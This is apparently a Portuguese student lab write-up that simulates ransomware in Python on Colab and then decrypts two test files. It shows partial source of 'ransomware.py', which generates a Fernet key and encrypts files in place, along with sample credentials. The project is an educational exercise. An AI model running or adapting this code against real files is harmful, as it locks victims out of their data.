

Simulando um malware de captura de dados simples em python e aprendendo a se proteger

-Feito no Collab

PRIMEIRA PARTE DO PROJETO:

- Criar a pasta Malware
- Criar subpasta test_files com dois arquivos .txt
- Criar arquivo: ransomware.py

The screenshot shows the DataCaptureDio interface. On the left, a terminal window displays the command: `#instalar bibliotecas` followed by `!pip install cryptography`. Below this, it shows the output: "Requirement already satisfied: cryptography ...". On the right, a code editor window titled "ransomware.py" contains Python code for a ransomware script. The code imports Fernet, generates a key, encrypts files, and lists files for encryption.

```
1 from cryptography.fernet import Fernet
2 import os
3
4 # 1 Gerar uma chave de criptografia e salvar
5 def gerar_chave():
6     chave = Fernet.generate_key()
7     with open("chave.key", "wb") as chave_file:
8         chave_file.write(chave)
9
10 # 2 Carregar a chave salva
11 def carregar_chave():
12     return open("chave.key", "rb").read()
13
14 # 3 Criptografar um único arquivo
15 def criptografar_arquivo(arquivo, chave):
16     f = Fernet(chave)
17     with open(arquivo, "rb") as file:
18         dados = file.read()
19     dados_encriptados = f.encrypt(dados)
20     with open(arquivo, "wb") as file:
21         file.write(dados_encriptados)
22
23 # 4 Encontrar arquivos para criptografar
24 def encontrar_arquivos(diretorio):
25     lista = []
```

Scrip em Python já criptografado

The screenshot shows the DataCaptureDio interface. On the left, a notebook titled "dados_confidenciais.txt" shows the encrypted data: `1 gAAAAABpK5QRlk3DVdI4-AIPr0T7HIXiYV270v9_CYeR9B0L795MFru2A`. On the right, a file titled "senhas.txt" also shows the encrypted data: `1 gAAAAABpK5QRInNR87SBEmojzGR5DNLKncuFQvBcbjj1nky1aV-WntaRsg`.

SEGUNDA PARTE DO PROJETO:

- Criar arquivo descriptografar.py

The screenshot shows the DataCaptureDio interface. On the left, a file browser shows a folder structure with "Arquivos", "Malware", "test_files", and "sample_data". In "test_files", there are "dados_confidenciais.txt" and "senhas.txt". A terminal window shows the command: `!python ransomware.py` followed by "Ransomware running! Encrypted file." and "#RODAR PARA DESCRIPTOGRAFAR: !python3 descriptografar.py". Below this, another terminal window shows the command: `!python3 descriptografar.py` followed by "... Files restored successfully.". On the right, two files are shown: "dados_confidenciais.txt" and "senhas.txt". The "dados_confidenciais.txt" file contains personal data: "1 Nome: João Silva Teixeira", "2 Nascimento: 18/05/1999", "3 Tipo Sanguíneo: O+", "4 Altura: 1.89m", "5 Peso: 78.50". The "senhas.txt" file contains three password entries: "1 Senha Itaú: 180599", "2 Senha Instagram: jsl1805", and "3 Senha Gmail: JoaoTeixeira180519".